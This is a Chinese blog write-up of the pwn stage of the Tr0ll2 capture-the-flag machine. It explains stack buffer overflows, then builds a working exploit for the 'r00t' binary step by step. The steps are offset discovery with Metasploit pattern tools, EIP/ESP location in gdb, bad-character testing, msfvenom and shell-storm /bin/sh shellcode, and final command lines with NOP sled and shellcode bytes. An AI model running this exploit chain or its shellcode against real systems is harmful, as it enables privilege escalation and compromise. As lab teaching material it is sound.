Tr0ll2
本文最后更新于436 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

pwn

可利用的栈溢出覆盖位置通常有3种: ①覆盖函数返回地址,之前的例子都是通过覆盖返回地址控制程 序。 ②覆盖栈上所保存的BP寄存器的值。函数被调用时会先保存栈现 场,返回时再恢复,具体操作如下(以x64程序为例)。调用时: 返回时:如果栈上的BP值被覆盖,那么函数返回后,主调函数的 BP值会被改变,主调函数返回指行ret时,SP不会指向原来的返回地址 位置,而是被修改后的BP位置。 ③根据现实执行情况,覆盖特定的变量或地址的内容,可能导致 一些逻辑漏洞的出现。
通过寻找危险函数,我们可以快速确定程序是否可能有栈溢出, 以及栈溢出的位置。常见的危险函数如下。 ❖ 输入:gets(),直接读取一行,到换行符'\n'为止,同 时'\n'被转换为'\x00';scanf(),格式化字符串中的%s不会 检查长度;vscanf(),同上。 ❖ 输出:sprintf(),将格式化后的内容写入缓冲区中,但是不 检查缓冲区长度。 ❖ 字符串:strcpy(),遇到'\x00'停止,不会检查长度,经常容 易出现单字节写0(off by one)溢出;strcat(),同上
栈溢出 缓冲区溢出漏洞
起因: strcpy(dest, argv[1]); 对输入的内容没有限制。输入的内容 填满缓冲区之后 溢出到其他的位置

函数的执行 的调用顺序和 栈的调用循序是一样
由于函数调用的循序也是最先调用的函数最后返回,因此栈非常适合保存函数运行过程中使用到的中间变量和其他临时数据。 目前,大部分主流指令构架(x86、ARM、MIPS等)都在指令集层面支持栈操作,并且设计有专门的寄存器保存栈顶地址。大部分情况 下,将数据入栈会导致栈顶从内存高地址向低地址增长

函数 以栈的结构 存储在内存中 当函数的输入值覆盖到其他位置时,在函数返回地址的内容会被当成上一个函数的内容执行

所以先找到偏移量 将缓冲区填满
然后 4个B 找到 EIP地址
然后 20个C 找到 ESP地址

构造一个 利用链 缓冲区+反向esp+nop值+shellcode

一、偏移量

偏移量通过输入一段字符 然后通过溢出的地址与字符串起点进行减法得到

一段具有规律的字符串中,子字符串 6a413969 的起始位置距离字符串开头的偏移量为 268

locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 
gdb r00t
r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q  0x6a413969
[*] Exact match at offset 268

二、esp地址

print写入268个A和4个B,查找出EIP地址

r $(python -c 'print ("A"*268 + "B"*4)')
info r

print写入268个A、4个B和20个C,查找出ESP地址:

r $(python -c 'print ("A"*268 + "B"*4 + "C"*20)')
获取ESP内存地址:0xbffffb80
即反向ESP为:\x80\xfb\xff\xbf

三、shellcode&badchars

git clone  https://github.com/cytopia/badchars.git
cd badchars
./badchars  -f ruby
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
r $(python -c 'print ("A"*268 + "B"*4)+badchars')
    

https://shell-storm.org/shellcode/index.html

http://shell-storm.org/shellcode/files/shellcode-827.php

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″‘)

 msfvenom --platform linux -p linux/x86/exec -f python CMD="/bin/sh" -b '\x00' -a x86
msfvenom -p linux/x86/exec CMD="/bin/sh" -f raw

编写EXP:

./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

编写漏洞利用程序。(A * 268)(shell偏移量)(nop sled)(shellcode)
./r00t $(python -c "print 'A' * 268 + '\x90\xfb\xff\xbf' + '\x90' * 100 + '\xba\x44\x81\xb3\x61\xdb\xd6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x0b\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\xb1\xeb\xb8\x39\xa0\xbe\xd8\xd1\xff\x5d\xac\xc5\x97\x8e\xdd\x61\x67\xb9\x0e\x10\x0e\x57\xd8\x37\x82\x4f\xd2\xb7\x22\x90\xcc\xd5\x4b\xfe\x3d\x69\xe3\xfe\x16\xde\x7a\x1f\x55\x60'")
文末附加内容
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇